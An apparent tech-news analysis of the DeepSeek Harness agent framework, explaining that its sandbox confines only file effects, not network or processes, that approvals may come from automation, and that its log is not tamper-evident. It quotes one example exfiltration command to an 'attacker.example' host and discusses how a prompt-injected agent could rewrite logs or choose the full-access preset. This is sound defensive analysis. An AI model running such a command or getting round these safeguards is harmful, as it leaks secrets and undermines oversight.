cd /news/ai-agents/deepseek-harness-s-sandbox-confines-… · home topics ai-agents article
[ARTICLE · art-95750] src=rye.ai ↗ pub= topic=ai-agents verified=true sentiment=· neutral

DeepSeek Harness's Sandbox Confines Files, Not Network or Processes

DeepSeek Harness, an open-source agent framework released as a developer preview, ships a fail-closed filesystem sandbox using bubblewrap, Landlock, Seatbelt, or Windows ACLs, but its documentation states that network access and process visibility are outside the sandbox's scope. The sandbox interface, `ctx.sandbox`, confines only file effects via three modes—read-only, workspace-write, and danger-full-access—and refuses to run commands unconfined if no backend is available. The framework also provides an append-only session log for traceability, but the sandbox does not govern network or process activity.

read9 min views3 publishedAug 13, 2026

Articles

DeepSeek Harness ships a fail-closed filesystem sandbox using bwrap, Landlock, Seatbelt, or Windows ACLs, but its own source and documentation state that network access and process visibility are outside what the sandbox governs.

DeepSeek Harness landed on Hacker News this week as a developer preview: an agent framework built on the claim that "every part of the product is a plugin, including the model adapter, the tool registry, the session log, and the agent loop itself, so every part is replaceable from configuration." The launch page pairs that with a second claim, traceability: an append-only session log that records every prompt, tool call, tool result, and context injection the model saw, with resume, fork, search, and replay built on top of it.

Both claims hold up. The repository backs them with real code, not just a landing page. But "traceable" and "sandboxed" are different properties, and the actual sandbox interface, which DeepSeek ships as open source, shows exactly where its boundary sits and where it does not.

What Runs a Tool Call

DeepSeek Harness is built on Cordis, a plugin framework where "plugins contribute services, typed events, and reversible effects to a shared context." There is no privileged core. The model adapter, the tool registry, and the session log are each a plugin mounted into the same tree, and a deployment composes its own stack from a profile

(a named set of bundles) plus local patch files.

A tool call moves through a documented pipeline before it runs:

model emits tool-call block
  -> tool/call logged to session (before execution)
  -> tools/pre-execute waterfall (hooks, permission checks, sandbox wrap)
  -> registered guards (deny or abstain)
  -> ctx.approval one-shot prompt, if a guard asked for one
  -> tools/execute waterfall (timeout, retry, the tool body itself)
  -> tools/post-execute waterfall (accept, block, replace, add context)
  -> tool/result logged to session

The sandbox enters at tools/pre-execute

, through a seam called ctx.sandbox

. That is the part worth reading closely, because "sandbox" in this codebase means something narrower than it does in a product like Docker Sandboxes or a Firecracker microVM.

The Sandbox Is Real, and Narrower Than It Sounds

ctx.sandbox

is an abstract seam with one method: confine(argv, policy)

. It takes the exact argv a tool is about to spawn and returns a wrapped argv that runs the same command under a file-effect policy. The default implementation, dsh-sandbox-local

, is a real, fail-closed, cross-platform confinement layer:

Linux: bubblewrap (bwrap) and Landlock.** macOS**: Seatbelt, viasandbox-exec

.Windows: a restricted-token backend enforced through ACLs.

The policy vocabulary is three modes:

Mode What it permits Network confinement Process confinement
read-only Required sinks only, such as /dev/null None None
workspace-write The workspace root and a backend-defined temp area None None
danger-full-access Everything; confinement is skipped entirely N/A N/A

The engineering is careful about failure. If a session requests read-only

or workspace-write

and no backend is usable on the host, confine()

does not fall back to running the command unconfined. It throws SandboxUnavailableError

, and the harness refuses the command:

sandbox mode "workspace-write" is requested but no sandbox backend is usable
on this host; refusing to run the command unconfined. Install bubblewrap or
run a Landlock-enforcing kernel (Linux), ensure sandbox-exec is usable
(macOS), or ensure the ACL restricted-token runner can start (Windows).
Otherwise, switch the consumer to danger-full-access.

The docs are also honest about partial enforcement. Enforcement completeness is a reported fact, full

or partial

, not an assumption. Older Landlock kernel ABIs and the Windows ACL backend's "Everyone / hard-link boundaries" are named as current partial cases, meaning a caller that requires an absolute filesystem boundary on those hosts has to check the reported value rather than trust the mode name.

That is a well-built primitive for what it does. The question is what it does not do.

What ctx.sandbox Does Not Cover

The sandbox subsystem documentation states its scope directly: "SandboxMode

governs filesystem effects only." And, more pointedly: "Network and process visibility are outside this vocabulary."

That is not a gap the docs hide. It is a design decision, stated plainly, and it has real consequences for what an agent can do even under the strictest confined mode.

The web_fetch

tool's schema takes a single required field: url

. There is no domain allowlist in the schema, and nothing in the sandbox or capability-seam documentation describes a network policy layer that filters where it can go. An agent under workspace-write

mode, unable to write outside the project directory, can still call web_fetch

against any host on the internet.

The same asymmetry applies to shell execution. dsh-bash-sandbox

wraps the same argv through ctx.sandbox

, so a blocked file operation surfaces as [sandbox: file access denied under <mode> mode]

. There is no equivalent denial for curl attacker.example --data-binary @secrets.env

from inside that same sandboxed shell. The filesystem confinement stops the agent from reading files outside the workspace. It does not stop a process inside the workspace from being exfiltrated over the network, because network egress was never part of what this seam confines.

Process visibility works the same way. The framework's own architecture guide says plainly: "Filesystem and subprocess providers share one execution world, so pointing them at a remote sandbox moves Bash, PTY, and LSP with them." Read the other direction, when the sandbox is the local bwrap

/Landlock

/Seatbelt

provider rather than a remote one, spawned processes still share the local execution world for anything outside the file-effect policy. ctx.sandbox

is a genuinely swappable seam, so an operator can plug in a provider backed by containers, a microVM, or remote execution, and the docs say as much. But that is a deployment choice an operator has to make. It is not what ships by default, and it is not what dsh-sandbox-local

does.

danger-full-access

compounds this. It is one of two presets surfaced directly to users (workspace-write

/ danger-full-access

, bundled with an approval-policy knob), which means the fastest path past a permission prompt during a frustrating session is also the path that removes filesystem confinement entirely.

Approval Can Be a Human, or Another Agent

The approval system, ctx.approval

, is a genuinely well-designed fail-closed primitive. Every ask produces one of four closed outcomes: allowed-once

, rejected

, cancelled

, unavailable

. A missing, throwing, or non-conforming answerer resolves to unavailable

, and callers must deny on anything other than allowed-once

. There is no ambiguous middle state.

But an "answerer" is not necessarily a person. The docs state it directly: "UI channels may provide human answerers; the ACP automation bridge provides one-shot machine decisions for its own agents." A subagent spawned to delegate work can have its tool calls approved by another piece of automation, not a human watching a terminal. Sessions can also run under a never

policy, which deterministically rejects every ask without dispatching any answerer at all, intended for CI and other unattended runs.

None of that is a flaw. Headless approval policies and machine answerers are necessary for any agent framework that wants to run unattended. It does mean that "approval happened" and "a human reviewed this" are not the same audit fact, and a log that only records approval/decided: allowed-once

does not tell you which one occurred.

An Append-Only Log Is Not a Tamper-Evident One

The session log's central invariant is real and worth taking seriously: "Model-visible means logged." Anything that reaches a model request must be reconstructable from the log, and the framework asserts this as a runtime invariant, not a convention. deriveMessages()

projects the model's context from the log rather than from a separately maintained history, so there is no code path where the model sees something the log does not contain.

That is a strong property for debugging, replay, and understanding what the model saw at each step. It is a different property from tamper resistance. "Append-only" here describes the application's write pattern: the session object only appends events, and history is derived by replaying them. It does not describe a storage guarantee like a write-once filesystem or a cryptographically chained log. The log is data the harness process itself manages, on a backend the operator configures. A process with filesystem access, or the harness process itself if it were compromised via a supply-chain issue or a sufficiently capable prompt injection, is not stopped by an application-level append-only invariant from rewriting the persisted file after the fact.

That distinction matters for incident response specifically. A log that reliably reconstructs "what the model was shown" is genuinely useful for debugging a bad output. A log you can present as evidence that a specific sequence of events occurred, and was not altered afterward, needs a different guarantee: signing, write-once storage, or replication to a store the agent process cannot reach.

What This Means If You Run It Today

workspace-write

as a network boundary. It is not one, by the framework's own definition of the mode vocabulary.SandboxEnforcement

value your platform reports, not just the mode name. Windows ACL enforcement is documented as partial for ambient ACL gaps.danger-full-access

preset, and why. It bypasses the one confinement layer the harness ships by default.approval/decided: allowed-once

event in the log represents a human decision. The ACP bridge can answer for its own agents.Where External Supervision Still Fits

None of this is a case against DeepSeek Harness's design. The plugin architecture is coherent, the sandbox fails closed instead of silently degrading, and the project is direct about where enforcement is partial

rather than full

. That candor is more than most agent tooling offers.

It is also exactly why the network-egress and tamper-evidence gaps are worth naming precisely instead of gesturing at "agents are risky." A file-effect sandbox and a network policy are different mechanisms, built for different threats, and a framework that solves the first well has not touched the second by accident of scope, not by oversight.

Rye's proxy sits outside the harness entirely and intercepts HTTPS traffic to configured LLM API domains, independent of whatever sandbox mode a given session is running under. It does not watch arbitrary curl

calls a tool makes to unrelated hosts, that is a general network-egress problem that needs an OS-level firewall or network namespace, not an LLM traffic proxy. What Rye's wrapper does add is telemetry that lives outside the harness process: file-change events from watching the workspace directly, and session start and end records written by a separate process. If the harness's own session log were incomplete or altered, that external record does not depend on the harness having logged the event correctly in the first place.

That is the actual shape of the problem. A framework's internal audit log is a statement about what the framework saw. Whether that statement can be trusted after an incident is a question the framework's own architecture cannot fully answer, no matter how careful the plugin that writes it is.

── more in #ai-agents 4 stories · sorted by recency
── more on @deepseek harness 3 stories trending now
sponsored brought to you by zahid.host 4,200+ EU-deployed projects
reading about agents? ship yours in a single git push.

Run your AI side-project on zahid.host

EU-based hosting, git-push deploys, automatic HTTPS, no cold starts. Free tier with a custom domain — perfect for shipping the agent you just read about.

$git push zahid main
Live at https://your-agent.zahid.host
Get free account → Pricing
from €0/mo · no card required
LIVE [news/deepseek-harness-s-s…] indexed:0 read:9min 2026-08-13 ·